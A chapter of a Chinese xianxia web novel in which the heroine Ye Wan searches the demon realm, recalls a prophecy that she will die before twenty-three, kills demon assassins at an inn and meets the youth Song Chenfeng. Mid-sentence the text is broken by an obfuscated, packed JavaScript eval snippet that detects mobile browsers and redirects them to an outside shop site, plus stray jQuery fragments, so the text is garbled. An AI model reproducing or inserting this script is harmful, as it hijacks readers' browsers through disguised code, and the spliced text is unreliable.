魔界主城内的大火早已被熄灭,只留下一地的灰烬,还有大火燃烧后久久未散的腥臭气味。
叶婉从灰烬上踏过,业火之事从来都只是听闻,现下亲眼见过之时,才知道这业火的荼毒有多么深。飘荡在空气中的腥臭气味里好像夹杂着什么,单单只是闻了一会,她便觉得心里有种冲动之感,嗜血残暴的欲望在体内横冲直撞。
秀丽的眉头皱起,叶婉缓了缓心神,这才压下了自己体内的躁动之感。
只是业火燃烧完后的气味便有如此影响,那自业火中而生的魔神,又该是如何的暴虐……
由千万个魔族中人的血液推动的罗刹海,滔天的鲜红色血浪呜咽不停,一浪接着一浪翻涌,如同赤艳艳的血肉在鼓劲跳动。
叶婉犹如无头苍蝇一般在魔界兜转,她想错了,这里没有一点线索。
很快三界就“炸了锅”,一名白衣女子只身闯入魔界,亲手杀掉魔尊之后还能安然离开,实在太过耸人听闻。
对于魔族来说,这可是奇耻大辱,魔尊已死,有消息放出来道,谁能够杀了这个女人,谁便是下一任魔尊。
知情之人纷纷猜测起来女子身份,却始终未有确定,直到修真界的几个宗主发现上清派掌门已然换了人,这才有声音试探着将该人身份转移给了叶婉。
但谁都没有确定,其间有其余门派掌门想要拜见叶婉,叶邈只道他也不知其行踪。
于是对于叶婉的猜测越发重了起来,其中夹杂钦佩,但比起敬意更多的,是畏惧。
有如此修为的一个人,离开修真界,目的不明,这对于他们来说,始终是个不确定的因素。
夜。
城中一家客栈里,男人探头朝外面看了眼,黑漆漆的夜色里,月光铺成一条通路。
今晚的月亮格外地圆。
男人这么想着,嘴里打了个哈欠,他低下头,正想要关门之时,一双素净长靴立在他的面前,紧接着是干净的衣摆,高挑的个子,再往上看,是修长白皙的脖颈,以及一张不施粉黛却依然艳丽的面容。
客栈老板挤了挤眼睛,心里暗暗叹息自己这眼睛是越来越不中用了,方才他根本就没看到有人,这个人到底是从哪里突然冒出来的。
“姑娘这是要住店?”
中年男人向一旁闪开,将来人请进屋子。那女子从他身边经过的时候,他吸了吸鼻子,好像嗅到了一股淡淡的独特气味,独属于深秋夜晚的潮气,沾染了点草木混合的气味。
“二楼最右边还有一间房,姑娘您打算住多久?”
“只住一晚,准备些热水送到我房间里。”白衣女子在柜台上搁下一锭银子,吩咐道。
女子转过身朝二楼走去,气质冷然。客栈老板先是打量了一下那女子身形背影,敢在夜里一个人走的姑娘,当真就不怕遇到什么临时起了歹意的贼人?
随后,他视线下移,有个东西明晃晃地半隐于宽大衣袖之下,他眯了眯眼,这才恍然惊觉,那是一柄通体银光的长剑……
女子一脸漠然,她踩着木制阶梯上楼,脚步声极轻。如今已是午夜时分,再过几个时辰天便该亮了,客栈内的客人们都已睡下,她一步步朝着老板说的那个空房间走去,而在经过一个房间的时候,女子突然停了下来。
这是她隔壁的房间,屋内主人想必早已睡下,并没有光从里面透出来,可鬼使神差的,叶婉伫立在门口,朝这个房间瞥了一眼。
但也就短短一瞬,等叶婉反应过来的时候,竟连自己也觉得毫无缘由,不知所谓。
叶婉垂下眼,继续朝前走了几步,推开了最边缘的那个房间。借着窗外透射进来的朦胧月光,她将屋内烛火点亮,霎时间小小的房间里亮堂起来,屋子也收拾得干净整洁。
烛火下,叶婉抬起手从怀中摸出一封绢帛,她指尖摩挲着绢帛上细密的丝线,火光映在其上,如同粼粼水波,在她的指下振荡。
绢帛保存完好,丝毫叫人看不出来这竟然已经放了将近十年之久,就在那薄薄的一张绢帛上面,赫然印有几道红色印记,那是用鲜血绘制而成的几个字迹——天命既定,勿……
这句话并未写完,“勿”这个字仅仅写了一半便没有再写下去。
那个人,究竟想告诉她什么呢?
……
摘星阁信奉天道,遵从命数,且避世已久,从不接待外来之客,擅自闯入地界者,一律格杀勿论。
至于为什么如此防备外人,原因是其中有一块传承了近万年的晶石,乃摘星阁内至真至宝。
他们将那块晶石奉为神的指引,只要有它在,摘星阁才能一直存续下去。
近百年里,摘星阁唯一一次出现在世人眼中的时候便是在叶婉八岁的生辰宴上了,那活了不知道有多久的阁主,样貌竟是诡异的年轻,只是长发尽显雪色。
叶婉并不知道这个人是谁,但那人孑然一身地出现在了她的八岁生辰宴上,未置一言,只是在她身前蹲下,与她平视。
眼前人一袭白衣,鹤发童颜,身上绘制着金边星图的纹路,倒真像是天道派来的使者,圣洁光辉,不染一丝尘埃。
“这纹路,你是摘星阁的人?”女孩一脸戒备地瞪着眼前这个奇怪的人。
那人并不回答,只是与叶婉平视,静静地凝望了她好久,随后抬起手轻点她的眉心。身体泛起一股异样之感,好似有一段模糊的记忆钻入了她的脑海中,她只能看到那一瞬画面,生长在云雾缭绕之上的一对并蒂莲。
后面的事情,叶婉都记不大清了,她的爹娘也曾亲自给她检查过,身体并无异样。
在那场生辰宴上,摘星阁的阁主来得突然,走得干脆,只是临走前,却扔下一句没头没尾的预言:“天命之女,降落凡尘,只是命薄福浅,她今生,活不过二十三岁。”
要是旁人说这句话,则与不痛不痒的诅咒无异,宴会上的人听到也便哈哈大笑着过去了,或许还会因为想要讨好上清派而将那个人大肆嘲讽一番。
可偏偏,说这句话的人却是那个神秘的摘星阁阁主……
门外突然响起一阵敲门声,打断了叶婉的思绪,“姑娘,热水已经准备好了。”
“进来吧。”叶婉闭上眼揉了揉眉心,很是疲惫困倦的样子。
浴桶内水汽氤氲,温热的水将她整个人都包裹起来,女子双眼紧闭,倚靠在浴桶边缘,她的头微微垂着,却是在一片漆黑之中,她仿佛又看到了当初的那个画面。
上清派寂静无声,她一步步走进去,穿过处理尸山血海的人,看到了两个黑色的棺木……
搭在木桶边缘的指节微微蜷缩起来,指甲似乎就要嵌进木头里面。
“天命……”
摘星阁的大司命对她说,阁主强行窥探天命,早在十年前便已经遭自身反噬而死,那张纸是他临死前所写,他难道早就预料到十年后的叶婉会为了预言晶石强行闯入摘星阁,所以才会给她留下了这样一句话?
叶婉眉头皱起,她仰面看着头顶的横梁,那未写完的后半句话,究竟是不想让她做什么呢?
天命?
如果这一切早就是既定的事实,她此行,又究竟是对是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576843|201987||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
错?
这所有的一切,仅用“天命”二字就能概括得了吗?
霎时间,叶婉面色一变,目光骤冷,她快速抬手,搭在屏风上的衣衫便朝她飞了过来,荡起一阵风,熄灭了屋子里的烛火。
没了火光,屋内瞬时漆黑起来,只有从窗外透过的惨白月色提供的一点亮光。
黑暗中,只听到有东西跃出水面的声音,在寂静的夜里哗啦作响。
蛰伏在暗处的魔族也意识到自己已经被发现,倏然,紧闭的窗户被大力掀开,一股股魔气统统涌了进来。
叶婉在屋内一个闪身,对方三人只看到一个白色身影行踪迅速,状如鬼魅。
铮的一声,长剑出鞘,有那么一瞬间,他们看到了这女子匆匆一闪而过的一双眼睛,不过也仅此一瞬,没过多久,他们便葬身于这柄剑上。
叶婉收起剑,她已经记不清这到底是第几次了。杀了她便可以成为下一任魔尊,掌管魔界,几乎每隔一段时间,总会有不要命的蠢货惦记着她的性命,这些天里,她都已经习惯了。
她静静地看着地上尸体化为黑气逐渐消散,可就在此时,一道脚步声却清晰地传入了叶婉的耳朵里,她冷声道:“谁?!”
脚步声倏然停止,片刻后,房门被轻轻推开。叶婉将手放在剑柄上,紧紧攥住,她盯着房门露出来的那一点缝隙,一点一点,逐渐扩大,她的眉头皱得也越来越深,直到房门开启,露出了门外的那张脸。
“原来真的是你?”
叶婉只觉这道声音有些耳熟,她并没有从这人身上感受到魔气,是故并没有轻易拔剑。
只是,借着月光,叶婉端详了一会门口之人的面容,无暇皎洁,不失美感,好一会,她终于从记忆里搜寻到了这张脸。
是当初在临水镇外见到的那个少年。
少年颇为自来熟地走了进来,浑似没有注意到屋子里还未散尽的血腥气味。在叶婉审视的目光下,少年点了灯,屋子里复又亮了起来。
“好巧啊。”少年笑眯眯道:“又见面了,上仙。”
他说完,还适当地环视了一眼屋内,语气悠闲,“看来你运气挺差啊,走到哪都得大动干戈一番。”
屋内静默,叶婉冷声道:“你不是在临水镇吗?为什么会在这里?”
“说起来还得问上仙你呢,那日你走之后,那临水镇的官差见我没了依仗,于是就将我给赶了出来。”少年轻轻挑眉,轻笑道:“你可得对我负责啊。”
“负责?”叶婉瞥了少年一眼,“我可不认识你。”
少年双手背在身后,往前走了一步,“我叫宋辰风,这下子可是认识了?”
叶婉没回答他,只坐下身,将剑擦洗一番,“没兴趣。”
这话说得尖酸刻薄,少年脸上的表情却并没有因为这句话而产生动摇,只是问:“我已经告诉了你我的名字,于情于理,你也该把你的姓名告知于我吧?”
女子手上的动作顿了一瞬,她沉声道:“出去。”
宋辰风摊了摊手,状似一脸无奈地转身离开,当门被带上之时,少年脸上的表情几乎是刹那间变得冷然,大半张脸隐于黑暗之中,唯有从门缝里透出来的烛光,照亮了他轻轻勾起的唇角。
他找到了。
第二日清晨,天色也才擦亮,脚下无声,一个人踩着木制阶梯下楼,是叶婉。
只是才下了楼,叶婉便又看到了那个少年——宋辰风。
少年听到脚步声之后,抬头看了过去,恰巧与叶婉视线相交,随后宋辰风眼眸弯起,冲叶婉笑着。